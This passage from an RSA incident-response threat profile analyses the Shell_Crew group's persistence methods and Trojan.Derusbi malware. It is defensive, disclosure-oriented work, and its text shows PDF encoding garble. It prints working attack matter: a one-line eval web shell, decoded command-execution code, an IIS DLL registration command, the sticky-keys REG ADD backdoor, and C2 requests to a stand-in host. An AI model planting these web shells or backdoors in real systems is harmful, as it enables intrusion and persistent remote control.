reference to the name of the victim company. Figure 7: Example of a simple Shell_Crew Web shell Shell_Crew also uses more complex Web shells that contain hundreds of lines of code and offer advanced functionality equal to many capable Trojans. This functionality can include capabilities such as: \xef\x82\xb7 File system traversal; \xef\x82\xb7 File/folder upload, download, and modify; \xef\x82\xb7 Command execution; \xef\x82\xb7 Time stomp files/folder; \xef\x82\xb7 Database connectivity; and \xef\x82\xb7 Communication obfuscation (typically Base64 or ASCII hex encoding). Figure 8 below is a screenshot of the ColdFusion Web shell used by Shell_Crew as referenced in the Intrusion Vector section of this report. This Web shell contains robust capabilities such as command execution, directory traversal, file uploads, and the ability to gather basic system information. <%@ Page Language=""Jscript""%><%eval(Request.Item[""password""],""unsafe"");%> RSA Incident Response Page 10 RSA Emerging Threat Profile: Shell_Crew Figure 8: ColdFusion Web shell interface example 2. Registering DLLs with Internet Information Services (IIS) Another entrenchment technique used by Shell_Crew on compromised systems is to register a DLL with IIS. Figure 9 below is an example where a malicious DLL was registered with the IIS Web server using the command line. The ScriptMaps.vbs file is a built in function of IIS for running VBScripts, and is fully documented in MSDN 2 . Figure 9: Command used to register a DLL with IIS This command line modification will ensure that any incoming request (whether it is a GET, POST, HEAD, or TRACE) with a .jna extension, will be handled by the now registered malicious DLL, in the example in Figure 9, myDLLname.dll. This allows Shell_Crew to make different requests; both in the request type, such as GET or POST, and the file being requested, making detection more difficult. This method of using various request parameters can be coupled with erratic IP Addresses further decreasing the likelihood that the activity will be detected by conventional means. Figure 10 depicts a sample request to a compromised Web server. 2 http://msdn.microsoft.com/en-us/library/ms526052%28v=vs.90%29.aspx cscript D:\\mywebsite\\ScriptMaps.vbs -a "".jna,C:\\windows\\system32\\inetsrv\\ myDLLname.dll,1,GET,HEAD,POST,TRACE"" POST /x.cfm HTTP/1.1 Host: mywebsite.com Connection: keep-alive Referer: http://mywebsite.com/x.cfm Content-Length: 47 Cache-Control: max-age=0 Origin: http://mywebsite.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0. 8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 cmd=cscript+D%3A%5Cmywebsite%5Cbad%5Cenable.vbs RSA Incident Response Page 11 RSA Emerging Threat Profile: Shell_Crew Figure 10: POST request on IIS registered DLL 3. Modifying the \xe2\x80\x98System.Web.dll\xe2\x80\x99 file This entrenchment technique was discovered after Shell_Crew made POST requests to nonexistent Web pages on a Web server running IIS. The POST requests always started with a marker string that looked like a hash value. Requests to the same non-existent Web page without the marker would result in a code 404, i.e. page not found. Figure 11 shows an example of a POST request sent by Shell_Crew to a non-existent webpage. Figure 11: POST request to a non-existent Web page The typically benign .NET Microsoft file \xe2\x80\x98System.Web.dll\xe2\x80\x99 is an assembly that contains several namespaces. When decompiled with a .NET Decompiler (such as .NET Reflector) the result will be hundreds of C# scripts. Shell_Crew replaced the existing System.Web.dll with a version which contained changes to two C# scripts: \xef\x82\xb7 Disassembler\\System.Web\\System\\Web\\UI\\PageHandlerFactory.cs \xef\x82\xb7 Disassembler\\System.Web\\System\\Web\\Util\\default_aspx.cs The first script file PagehandlerFactory.cs contains adversary added code that looks for this marker in the content of the request: 4B39DD871AD56E6BFEC750C33138B985. When the marker is present, it lets default_aspx.cs handle the request that follows the marker. Figure 12 highlights the modifications made to the PagehandlerFactory.cs file. Figure 12: Modified content of PagehandlerFactory.cs 4B39DD871AD56E6BFEC750C33138B985=Response.Write(""-->|"");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System .Convert.FromBase64String(""\xe2\x80\xa6\xe2\x80\xa6 RSA Incident Response Page 12 RSA Emerging Threat Profile: Shell_Crew When called by the script PagehandlerFactory.cs, the file default_aspx.cs, which also contains code added by the adversary, performs the eval function on the request sent in the original POST request to the non-existent Web page. Figure 13: Content of default_aspx.cs In this instance, the POST request contained data that was Base64 encoded to obfuscate the malicious nature of the request, as shown in Figure 14. Figure 14: POST request on nonexistent webpage Below in Figure 15 is the decoded blue text from the POST request in Figure 14. Figure 15: Decoded base64 text from the POST request Additionally, the actual command within the above POST request is also Base64 encoded. Below in Figure 16, the encoded text from the above POST request decoded. var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert. FromBase64String(Request.Item[""z1""])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System. IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments= ""/c ""+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[""z2""]));e.Start(); out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd()); RSA Incident Response Page 13 RSA Emerging Threat Profile: Shell_Crew Figure 16: The script was further decoded to reveal the contents The reply from the server to these POST requests is not obfuscated and could be found in Web server log files as shown in Figure 17. Figure 17: Reply from infected Web server 4. Trojan.Derusbi In addition to deploying traditional versions of what Symantec calls Trojan.Derusbi (i.e. samples that beacon to a hard- coded domain/IP address), this adversary deployed a custom version of this Trojan on perimeter servers. Trojan.Derusbi typically consists of a DLL and driver file. The driver of the customized Trojan.Derusbi variant in this example monitors all TCP ports that are utilized by various Windows services. When a connection is established on any TCP port, the driver checks to see if it received a handshake packet. The handshake packet contains a simple structure, which allows the Trojan to function even on busy Web servers. When a handshake packet is received, the DLL also replies back with a handshake packet. In addition to the handshake, this variant of Trojan.Derusbi also has an authentication step where the client must send the right password to the Trojan. The communication protocol consist of a 24 byte header, and the data is compressed and obfuscated with 4-byte XOR key, which is dynamically generated for each transmission, and which is included in the 24-byte header. This Trojan offers both typical and advanced Trojan functionalities, such as: file traversal, process start/terminate, upload/download, time stomping, and self-updating. Analysis of customized Trojan.Derusbi variants utilized by Shell_Crew can be found in the below Malicious Files and Secondary Tools section. 5. \xe2\x80\x98Sethc\xe2\x80\x99 RDP backdoor \xe2\x80\x93 \xe2\x80\x98Sticky-Keys backdoor\xe2\x80\x99 This well-known technique that is commonly referred to as the sticky-keys backdoor is used when systems on the targeted organization have Microsoft Remote Desktop Protocol (RDP) enabled. While this technique is not exclusive to Shell_Crew, z1=cmd&z2= cd /d ""D:\\mywebserver\\""&whoami&echo [S]&cd&echo [E] z1=Y21k&z2=Y2QgL2QgIkQ6XG15d2Vic2VydmVyXCImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd RSA Incident Response Page 14 RSA Emerging Threat Profile: Shell_Crew the RSA IR Team has observed this group utilize the technique in several different environments. There are two common ways that a system can be exploited using this technique. 1. File sethc.exe is replaced with another file (typically cmd.exe or explorer.exe) in one or both of these two locations: C:\\Windows\\system32\\sethc.exe C:\\Windows\\system32\\dllcache\\sethc.exe The result of making this change on a system which has RDP enabled, is that once presented with the RDP Windows logon screen, simply pressing the SHIFT key 5 times will launch either a command shell (cmd.exe), a windows explorer window (explorer.exe), or whatever program was copied to replace the sethc.exe application executable. 2. The second technique makes a registry modification to launch a debugger anytime sethc.exe is executed and registers cmd.exe (or any other file) as the debugger. So, anytime sethc.exe is invoked (explained in the next paragraph), Windows automatically executes its \xe2\x80\x9cdebugger\xe2\x80\x9d, i.e.cmd.exe. The registry modification is shown in Figure 18. Figure 18: Registry modification to invoke sethc.exe debugging The result of making this change on a system which has RDP enabled, is that once presented with the RDP Windows logon screen, simply pressing the SHIFT key 5 times will launch either a command shell, cmd.exe as shown in Figure 18, or whichever program has been set as the debug program in the registry. The process runs under the context of the SYSTEM account. Since this technique does not involve any malicious files, there is limited capability for AV vendors to detect this backdoor. Figure 19 shows an example of a system that has the Stick Key set to present a command shell when invoked. Figure 19: RDP backdoor example REG ADD ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"" /v Debugger /t REG_SZ /d ""C:\\windows\\system32\\cmd.exe"" RSA Incident Response Page 15 RSA Emerging Threat Profile: Shell_Crew Malicious Files and Secondary Tools Shell_Crew uses a variety of malicious Trojans and tools to entrench themselves, move laterally, and persist within a targeted environment. This portion of the report will detail the malicious files and secondary tools identified during recent engagements involving Shell_Crew. The sections are broken up as follows: \xef\x82\xb7 Malicious Files and Secondary Tools Hash List; \xef\x82\xb7 Malicious Files \xe2\x80\x93 Technical Analysis; and \xef\x82\xb7 Secondary Tools \xe2\x80\x93 Technical Analysis Malicious Files and Secondary Tools Hash List The following list of Trojans and tools have been used by Shell_Crew during various investigations conducted by the RSA IR team. The Web shells that are often used by Shell_Crew can be easily modified for specific missions or victims, and subsequently, hash values are not listed for those files. Additionally, many Web shell samples identified reference specific victim names, which once redacted, would change the hash value of the file. MD5 Hash Description 90eddad3327a63fdea924fb802bc7dc5 Credential logger 77932654f5087ac5e157dfb6ff9b7524 Derusbi dropper cc09af194acf2039ad9f6074d89157ca Derusbi server variant a395eed1d0f8a7a79bdebbfd6c673cc1 Mimikatz 469d4825c5acacb62d1c109085790849 Mimikatz DLL eb698247808b8e35ed5a9d5fefd7a3ae Password hash dumper 62567951f942f6015138449520e67aeb Trojan.Notepad 2dce7fc3f52a692d8a84a0c182519133 Trojan.Notepad 7a6154e1c07aded990bd07f604af4acf Trojan.Notepad ef0493b075a592abc29b8e9ec43aca07 Trojan.Notepad 985abc913a294c096718892332631ec9 Trojan.Notepad 42ecdce7d7dab7c3088e332ff4f64875 Trojan.Notepad 106e63dbda3a76beeb53a8bbd8f98927 Trojan.Notepad 42d98ddb0a5b870e8bb828fb2ef22b3f Trojan.Notepad fcb89c7ab7fa08f322148d3b67b34c49 Windows Cred Editor 128c17340cb5add26bf60dfe2af37700 Trojan.Derusbi 1ae0c39cb9684652c017161f8a5aca78 Trojan.Derusbi 2f05c07e3f925265cd45ef1d0243a511 Trojan.Derusbi 312888a0742815cccc53dc37abf1a958 Trojan.Derusbi 3804d23ddb141c977b98c2885953444f Trojan.Derusbi RSA Incident Response Page 16 RSA Emerging Threat Profile: Shell_Crew 3a27de4fb6e2c524e883c40a43da554e Trojan.Derusbi 3c973c1ad37dae0443a078dba685c0ea Trojan.Derusbi 3dec6df39910045791ee697f461baaba Trojan.Derusbi 449521ce87ed0111dcb0d4beff85064d Trojan.Derusbi 59cb505d1636119f2881caa14bf42326 Trojan.Derusbi 6802c21d3d0d80084bf93413dc0c23a7 Trojan.Derusbi 6811b8667e08ffa5fcd8a69ca9c72161 Trojan.Derusbi 6d620d5a903f0d714c30565a9bfdce8f Trojan.Derusbi 6ec15a34f058176be4e4685eda9a5cfc Trojan.Derusbi 72662c61ae8ef7566a945f648e9d4dd8 Trojan.Derusbi 75b3ccd4d3bfb56b55a46fba9463d282 Trojan.Derusbi 76767ef2d2bb25eba45203f0d2e8335b Trojan.Derusbi 837b6b1601e0fa99f28657dee244223b Trojan.Derusbi 87f93dcfa2c329081ddbd175ea6d946b Trojan.Derusbi 8c0cf5bc1f75d71879b48a286f6befcf Trojan.Derusbi 9318d336f8d8018fd97357c26a2dfb20 Trojan.Derusbi a1fb51343f3724e8b683a93f2d42127b Trojan.Derusbi bc32ecb75624a7bec7a901e10c195307 Trojan.Derusbi c353bac6ebace04b376adf1f3115e087 Trojan.Derusbi d3ad90010c701e731835142fabb6bfcc Trojan.Derusbi de7500fc1065a081180841f32f06a537 Trojan.Derusbi eeb636886ecc9ff3623d10f1efcf3c09 Trojan.Derusbi f942f98cff86f8fcde7eb0c2f465be7a Trojan.Derusbi Table 1: List of Malicious Files RSA Incident Response Page 17 RSA Emerging Threat Profile: Shell_Crew Malicious Files \xe2\x80\x93 Technical Analysis Shell_Crew uses a variety of malicious Trojans and tools to entrench themselves in a customer environment, however they consistently employ Trojans such as Trojan.Derusbi and variations of this Trojan family. This portion of the report will detail the technical analysis of two of the custom variations of Trojan.Derusbi used by Shell_Crew. 1. Trojan.Derusbi The RSA IR Team has observed Shell_Crew deploy different variants of the Trojan.Derusbi family. This Trojan family provides attackers a backdoor into the enterprise, as well as functionality to locate and decrypt passwords stored on the system by web browsers like Firefox and Internet Explorer, gather system and network information, and upload or download files. Details of a sample found during a recent engagement involving Shell_Crew have been provided in Figure 20. Figure 20: Details of the file 'msressvkx.ttf' - a Trojan.Derusbi variant It should be noted that the original sample contained a hard coded URL that made reference to a company name; because of this, the hard coded IP Address was replaced and the MD5 and SHA1 hash values provided above are for the sanitized file. This Trojan has an embedded and encoded driver file that is written to the infected system and then launched. This driver will hook the IP, TCP, UDP, and RawIP driver files that normally run on a system. When this particular Trojan.Derusbi variant is initially executed it checks to see if the registry key \xe2\x80\x9cHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\Security\xe2\x80\x9d is present in the registry. This registry key location is where the Trojan will store its encoded configuration data. If the key is not present on the system, the sample will first decode the configuration data that is embedded in the Trojan found at position 0x1EC88. File Name: msressvkx.ttf File Size: 141928 bytes MD5: c0d4c5b669cc5b51862db37e972d31ec SHA1: 0beaa9038e9884bdda6b08c3737e7ee14894a6cf PE Time: 0x4EAD4675 [Sun Oct 30 12:43:33 2011 UTC] PEID Sig: Microsoft Visual C++ v6.0 DLL PEID Sig: Microsoft Visual C++ v7.0 DLL Sections (5): Name Entropy MD5 .text 6.4 ac994b0a4a872010d47652211eb789d8 .rdata 5.33 ca075b2352348728dc38d309d1a52499 .data 6.69 cdd5648583ab062550db0f1039700e28 .rsrc 2.89 463fc58dc7c103c564540cd1191f6c06 .reloc 6.03 7430b0b237db5acf3c691df23c915847 RSA Incident Response Page 18 RSA Emerging Threat Profile: Shell_Crew Figure 21 below shows the function responsible for decoding this embedded data with the XOR key \xe2\x80\x980x 76 2D F2 41\xe2\x80\x99. Once the configuration data has been initially decoded, it will be placed into memory and the Trojan will resolve the current machine name and append 4 characters of pseudorandom data separated by a dash \xe2\x80\x9c-\xe2\x80\x9c. This null terminated string will then overwrite the first portion of data in the decoded configuration file. Figure 21: Trojan.Derusbi Configuration Data Decoding Function RSA Incident Response Page 19 RSA Emerging Threat Profile: Shell_Crew The data below in Figure 22 illustrates the decoded configuration data. The machine name string and the hard coded C2 for this sample are highlighted in yellow (and have been changed to protect the victim). Figure 22: Decoded Trojan.Derusbi configuration data This machine specific configuration data will then be encoded, using a different method, where each byte is XORed with 0x5F and then each bit of that product byte is subsequently inverted. This encoded data will then be written to the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\Security registry key. Figure 23 below shows the function within the Trojan responsible for encoding this data and then writing it to the registry. If the sample is restarted it will again check for the registry value containing the configuration data. If this value is located, the sample will read the configuration data and then decode it using a function similar to the function that is depicted below. Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 2D 56 49 43 54 49 4D 2D 4D 41 43 48 49 4E 45 2D -VICTIM-MACHINE- 00000010 33 37 39 38 00 57 29 57 74 59 41 73 59 57 51 33 3798 W)WtYAsYWQ3 00000020 2D 3E 23 3C 7E 4F 72 29 21 4D 3C 5B 56 54 3D 47 ->#<~Or)!M<[VT=G 00000030 5F 25 2D 4E 38 68 7A 39 50 53 5C 6D 32 70 33 00 _%-N8hz9PS\\m2p3 00000040 62 61 64 2E 6D 61 6C 77 61 72 65 6A 77 6D 2E 63 bad.malwarejwm.c 00000050 6F 6D 3A 34 34 33 00 57 5A 53 74 5A 24 64 21 74 om:443 WZStZ$d!t 00000060 47 24 74 3B 62 5D 35 77 46 4F 24 2E 71 56 66 2A G$t;b]5wFO$.qVf* ******Removed for Brevity****** 00000140 14 00 00 00 77 75 61 75 73 65 72 76 00 67 2A 66 wuauserv g*f 00000150 22 75 5E 46 71 53 5A 27 38 2D 7A 51 25 47 50 49 ""u^FqSZ'8-zQ%GPI 00000160 31 2D 40 70 00 00 00 00 00 31 59 22 72 5E 50 53 1-@p 1Y""r^PS 00000170 72 7A 5A 76 28 2E 34 6C 57 3A 4B 74 21 70 3C 7E rzZv(.4lW:Kt!p<~ 00000180 46 76 69 32 38 77 74 57 00 59 4C 48 28 31 3B 67 Fvi28wtW YLH(1;g 00000190 64 55 4E 6F 2C 6B 46 74 00 53 22 74 26 7A 26 5B dUNo,kFt S""t&z&[ 000001A0 45 70 50 5F 30 54 7E 38 6A A0 6B EpP_0T~8j k RSA Incident Response Page 20 RSA Emerging Threat Profile: Shell_Crew Figure 23: Trojan.Derusbi Configuration Data Encoding Function Upon initial execution, the Trojan will decode, write, and launch a driver file that is embedded in the file at offset 0x19A40. The data shown below in Figure 24 is how the data resides in the file. RSA Incident Response Page 21 RSA Emerging Threat Profile: Shell_Crew As shown in Figure 24, the first DWORD that is highlighted in yellow is the 4 byte XOR key that is used to decode the driver file. It should be noted that this XOR key is the same in several variants that were compiled over a year time frame. The second DWORD highlighted in blue is the length of data to be decoded (the size of the driver file) 0x52 18 or 21,016 bytes decimal. Figure 24: XOR key that is used to decode the driver file The function below in Figure 25 is responsible for decoding the driver file. This function will call an additional function that is responsible for writing the decoded data to disk as \xe2\x80\x98C:\\Windows\\System32\\Drivers\\{6AB5E732-DFA9-4618-AF1C- F0D9DEF0E222}.sys\xe2\x80\x99. The Trojan will then use the API call ZwLoadDriver to start the newly created file. Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00019A40 F3 5D 88 2E 18 52 00 00 BE 07 18 2E F0 5D 88 2E \xc3\xb3]\xcb\x86. R \xc2\xbe .\xc3\xb0]\xcb\x86. 00019A50 F7 5D 88 2E 0C A2 88 2E 4B 5D 88 2E F3 5D 88 2E \xc3\xb7]\xcb\x86. \xc2\xa2\xcb\x86.K]\xcb\x86.\xc3\xb3]\xcb\x86. 00019A60 B3 5D 88 2E F3 5D 88 2E F3 5D 88 2E F3 5D 88 2E \xc2\xb3]\xcb\x86.\xc3\xb3]\xcb\x86.\xc3\xb3]\xcb\x86.\xc3\xb3]\xcb\x86. 00019A70 F3 5D 88 2E F3 5D 88 2E F3 5D 88 2E F3 5D 88 2E \xc3\xb3]\xcb\x86.\xc3\xb3]\xcb\x86.\xc3\xb3]\xcb\x86.\xc3\xb3]\xcb\x86. 00019A80 F3 5D 88 2E 13 5D 88 2E FD 42 32 20 F3 E9 81 E3 \xc3\xb3]\xcb\x86. ]\xcb\x86.\xc3\xbdB2 \xc3\xb3\xc3\xa9\xc2\x81\xc3\xa3 00019A90 D2 E5 89 62 3E 7C DC 46 9A 2E A8 5E 81 32 EF 5C \xc3\x92\xc3\xa5\xe2\x80\xb0b>|\xc3\x9cF\xc5\xa1.\xc2\xa8^\xc2\x812\xc3\xaf\\ 00019AA0 92 30 A8 4D 92 33 E6 41 87 7D EA 4B D3 2F FD 40 \xe2\x80\x990\xc2\xa8M\xe2\x80\x993\xc3\xa6A\xe2\x80\xa1}\xc3\xaaK\xc3\x93/\xc3\xbd@ 00019AB0 D3 34 E6 0E B7 12 DB 0E 9E 32 EC 4B DD 50 85 24 \xc3\x934\xc3\xa6 \xc2\xb7 \xc3\x9b \xc5\xbe2\xc3\xacK\xc3\x9dP\xe2\x80\xa6$ 00019AC0 D7 5D 88 2E F3 5D 88 2E 94 52 8B C5 D0 33 E5 96 \xc3\x97]\xcb\x86.\xc3\xb3]\xcb\x86.\xe2\x80\x9dR\xe2\x80\xb9\xc3 \xc3\x903\xc3\xa5\xe2\x80\x93 00019AD0 D0 33 E5 96 D0 33 E5 96 D9 4B 70 96 D3 33 E5 96 \xc3\x903\xc3\xa5\xe2\x80\x93\xc3\x903\xc3\xa5\xe2\x80\x93\xc3\x99Kp\xe2\x80\x93\xc3\x933\xc3\xa5\xe2\x80\x93 00019AE0 D0 33 E4 96 FA 33 E5 96 13 3C B8 96 D5 33 E5 96 \xc3\x903\xc3\xa4\xe2\x80\x93\xc3\xba3\xc3\xa5\xe2\x80\x93 <\xc2\xb8\xe2\x80\x93\xc3\x953\xc3\xa5\xe2\x80\x93 00019AF0 13 3C BA 96 D1 33 E5 96 D9 4B 66 96 D4 33 E5 96 <\xc2\xba\xe2\x80\x93\xc3\x913\xc3\xa5\xe2\x80\x93\xc3\x99Kf\xe2\x80\x93\xc3\x943\xc3\xa5\xe2\x80\x93 00019B00 D9 4B 61 96 D5 33 E5 96 D9 4B 71 96 D1 33 E5 96 \xc3\x99Ka\xe2\x80\x93\xc3\x953\xc3\xa5\xe2\x80\x93\xc3\x99Kq\xe2\x80\x93\xc3\x913\xc3\xa5\xe2\x80\x93 00019B10 D9 4B 74 96 D1 33 E5 96 A1 34 EB 46 D0 33 E5 96 \xc3\x99Kt\xe2\x80\x93\xc3\x913\xc3\xa5\xe2\x80\x93\xc2\xa14\xc3\xabF\xc3\x903\xc3\xa5\xe2\x80\x93 RSA Incident Response Page 22 RSA Emerging Threat Profile: Shell_Crew Figure 25: Trojan.Derusbi Driver Decoding Function The driver will hook other networking drivers and will determine if incoming traffic contains certain patterns of traffic, which when specific conditions are met will pipe that traffic to Trojan.Derusbi. Once the Trojan begins to communicate with the hard coded C2, it will initially transmit the following POST request shown in Figure 26. Figure 26: POST request initiated by Trojan.Derusbi If no response is received it will transmit the following binary data shown in Figure 27, which is part of a proprietary handshake that is discussed more in the Trojan.Derusbi \xe2\x80\x93 Server Variant section. The Binary data contains a set of three DWORDs that the C2 will validate to as part of the initial portion of the handshake. The first DWORD is created just prior to the beaconing activity. The following two DWORDs are mathematical modifications of the first DWORD. POST /forum/login.cgi HTTP/1.1 HOST: bad.malwarejwm.com:443 User-Agent: Mozilla/4.0 Proxy-Connection: Keep-Alive Connection: Keep-Alive Pragma: no-cache RSA Incident Response Page 23 RSA Emerging Threat Profile: Shell_Crew Figure 27: Binary data transmitted by Trojan.Derusbi As illustrated below in Figure 28, the second DWORD is the product of XORing the first DWORD with 0xFF. The third DWORD is the product of rotating the first DWORD value right by 7. Figure 28: The Binary data contains a set of three DWORDs If the Trojan does not receive the other necessary portions of the Trojan/C2 handshake it will transmit the following type of GET request. The \xe2\x80\x98loginid\xe2\x80\x99 that is highlighted in yellow in Figure 29 is created pseudorandomly. Figure 29: GET request transmitted by the Trojan This Trojan has several advanced capabilities including providing a reverse shell to the adversary, locating and decrypting usernames and passwords stored by web browsers like Internet Explorer and Firefox, uploading and downloading files, and executing additional malicious files. Appendix 1 of this report illustrates how several variants of Trojan.Derusbi have overlapping characteristics. Having the ability to quickly detect relationships between different variants allows the RSA IR Team to locate not just specific samples, but variants throughout an environment within the same family. GET /Photos/Query.cgi?loginid=24072 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: bad.malwarejwm.com:443 Cache-Control: no-cache Pragma: no-cache Connection: Keep-Alive 1 st DWORD = 0x00003DAE 2 nd DWORD = 0x00003DAE ^ 0xFF = 0xFFFFC251 3 rd DWORD = 0x00003DAE ROR 7 = 0x5C00007B 00000000 ae 3d 00 00 51 c2 ff ff 7b 00 00 5c 87 0b 00 00 .=..Q... {..\\.... 00000010 cf 4e 00 00 3c 08 00 00 19 55 00 00 46 3a 00 00 .N..<... .U..F:.. 00000020 e4 41 00 00 4c 76 00 00 3b 65 00 00 28 6a 00 00 .A..Lv.. ;e..(j.. 00000030 a7 43 00 00 08 26 00 00 3c 7b 00 00 c9 6b 00 00 .C...&.. <{...k.. RSA Incident Response Page 24 RSA Emerging Threat Profile: Shell_Crew 2. Trojan.Derusbi Server Variant Shell_crew deployed this variant of Trojan.Derusbi on perimeter devices in a victim\xe2\x80\x99s network. This variant contains a driver that monitors all incoming TCP connections for a secret handshake. The handshake is simple enough to allow this variant to function even on busy web servers. Once the handshake is received, the driver then passes control to the DLL file which contains the main functionality of the Trojan. Characteristics of one such Trojan.Derusbi server variant can be found in Figure 30. Figure 30: Characteristics of the file 2.dll - a Trojan.Derusbi variant The Trojan exports the functions shown in Table 2 below. Entry Point Ordinal Name 100067FBh 1 DllRegisterServer 10006777h 2 DllUnregisterServer 10004CFFh 3 ServiceMain 10004CF0h 4 SvchostPushServiceGlobals 10004FAAh 5 WUServiceMain 10007223h 6 _crt_debugger_hook Table 2: Trojan.Dersubi server variant functions The adversary installed this Trojan by utilizing the regsvr32.exe utility, which calls the DllRegisterServer function. This Trojan first checks the version of Windows it is running on using the GetVersionExA function, and will terminate if not on a Windows version 5.2 as shown in Figure 31. File Name: 2.dll File Size: 65816 bytes MD5: 7c32302791501d817fe9ecb589ecc026 SHA1: e473e936374aed2701c9455b487cdf2cbec30cf8 PE Time: 0x4FE740F9 [Sun Jun 24 16:31:53 2012 UTC] PEID Sig: Microsoft Visual C++ v6.0 DLL PEID Sig: Microsoft Visual C++ v7.0 DLL Sections (5): Name Entropy MD5 .text 6.22 f8a33e42f67dc9ea82e50698556c2e19 .rdata 4.95 f795dbaabc5a4dc86780a02c7fb9bbd0 .data 7.07 5085436ae0b2d8977b4034aae2d98ad6 .rsrc 2.88 b69e32f439cc4bd33e4dd5ea23bfe02b .reloc 5.39 5e891a6fb9398ffed88fda988ee49422 .rsrc 2.89 463fc58dc7c103c564540cd1191f6c06 .reloc 6.03 7430b0b237db5acf3c691df23c915847 RSA Incident Response Page 25 RSA Emerging Threat Profile: Shell_Crew Figure 31: Derusbi server variant - check OS version logic This versions of Windows this covers is: \xef\x82\xb7 Windows 2003 Server; \xef\x82\xb7 Windows 2003 Server R2; and \xef\x82\xb7 Windows XP 64-bit Edition. The Trojan then validates that it is not running on a 64-bit system by using the IsWow64Process function. The servers where this Trojan was found during the engagement were Windows 2003 servers, confirming the Shell_Crew had created this variant of the Trojan.Derusbi to run specifically on this family of Operating Systems. The Trojan then makes a copy of itself into the C:\\Windows\\System32 folder as a file named: \xe2\x80\x9cmsusbXXX.hlp\xe2\x80\x9d, where XXX were found to be three characters picked randomly from this set of characters: abcdefghijklmnopqrstuvwxyz. The Trojan then entrenches itself as a service named \xe2\x80\x9cwuauserv\xe2\x80\x9d as illustrated in Figure 32. Figure 32: Registry key identifying the service name and Trojan file Furthermore, this Trojan also drops a driver file on the system named: {93144EB0-8E3E-4591-B307-8EEBFE7DB28F}.sys. This driver file is embedded into the DLL starting at file-offset 0x9290. The contents of this file are obfuscated with a 4-byte XOR key: 0xF35D882E. Once the driver file is loaded in memory, the file is deleted from the file system. The following registry key remains as an artifact: HKLM\\SYSTEM\\CURRENTCONTROLSET\\ENUM\\ROOT\\LEGACY_{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}. The driver also attaches to the following network devices: \xef\x82\xb7 \\Driver\\Tcpip\\Device\\Ip; \xef\x82\xb7 \\Driver\\Tcpip\\Device\\Tcp; \xef\x82\xb7 \\Driver\\Tcpip\\Device\\Udp; and \xef\x82\xb7 \\Driver\\Tcpip\\Device\\RawIp. The driver can then monitor traffic to any existing listening TCP ports. The driver performs the following three checks on any new TCP connections: \xef\x82\xb7 Ensures the payload of the first packet equals 64 bytes; \xef\x82\xb7 Ensures 2nd DWORD = Inverted 1st DWORD (i.e. logical NOT, or XOR 0xFF); and \xef\x82\xb7 Ensures 1st DWORD ROR 7 = 3rd DWORD. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv\\Parameters \xef\x83 ServiceDLL: %Systemroot%\\System32\\msusbfmg.hlp RSA Incident Response Page 26 RSA Emerging Threat Profile: Shell_Crew Figure 33: Driver logic that looks for handshake All the data in the handshake is randomly generated. Other than the first three DWORDS (12 bytes), the rest of the data in the 64-byte handshake is irrelevant. The structure of the handshake is shown below in Figure 34: Figure 34: Trojan.Derusbi server variant handshake structure The malicious DLL performs the last two checks on the handshake data as well. It then replies back with the same type of handshake. All data is randomly generated independent of what data was received. Figure 35 depicts a sample handshake. Figure 35: Trojan.Derusbi server variant handshake sample data The handshake is followed by a password verification step. The structure of the data also changes from this point forward. This sample uses password, \xe2\x80\x9cpinkcomein\xe2\x80\x9d. The client Trojan service sends the password after obfuscating it with a 4-byte RSA Incident Response Page 27 RSA Emerging Threat Profile: Shell_Crew XOR key, which is dynamically generated and sent with the rest of the data. The checksum is a simple addition of all the bytes prior to the obfuscation step. Figure 36: Trojan.Derusbi server variant - authentication Once the password has been confirmed, the communication protocol adds one additional component. All data beyond the headers is compressed using the LZO 3 fast compression algorithm, prior to being obfuscated with the 4-byte XOR key. The commands sent to the server also need to be compressed and obfuscated. Figure 37 shows an example that demonstrates all these components of the communication protocol (XOR key in this example was set to 0x00000000 to expose the next layer for demonstration purposes). Figure 37: Trojan.Derusbi server variant \xe2\x80\x93 protocol components The commands are in binary form. In the example shown in Figure 37, the command is 0x10 (which is visible even though the data is compressed), uninstalls the Trojan, and restores the original registry keys. The rest of the functionality of this Trojan is typical to this family of Trojans including; file traversal, process start/terminate, upload/download, time stomping, and self-updates. 3 http://www.codingnow.com/windsoul/package/lzoc.htm http://www.codingnow.com/windsoul/package/lzoc.htm RSA Incident Response Page 28 RSA Emerging Threat Profile: Shell_Crew Secondary Tools \xe2\x80\x93 Technical Analysis This section contains the technical analysis of several secondary tools that are favored by Shell_Crew. The secondary tools are programs that facilitate lateral movement, harvesting of credentials, or allow for additional channels of communication. During recent engagements involving Shell_Crew, the secondary tools were introduced into the environment during the early stages of a compromise indicating that these are the preferred tools of this group. Shell_Crew also employs several additional tools that are commonly used by other threat groups and will not be covered in this report. 1. Notepad.exe One of the preferred tools used by Shell_Crew during a recent incident was a multi-purpose tool typically named 'notepad.exe\xe2\x80\x99, but also found named \xe2\x80\x98inetinfo.exe\xe2\x80\x99 or \xe2\x80\x98mszip.exe\xe2\x80\x99. The collected sample of this tool was written in .NET 2.0 and the code was obfuscated using the post-development recompilation system \xe2\x80\x9cDotfuscator\xe2\x80\x9d. This tool does not have a 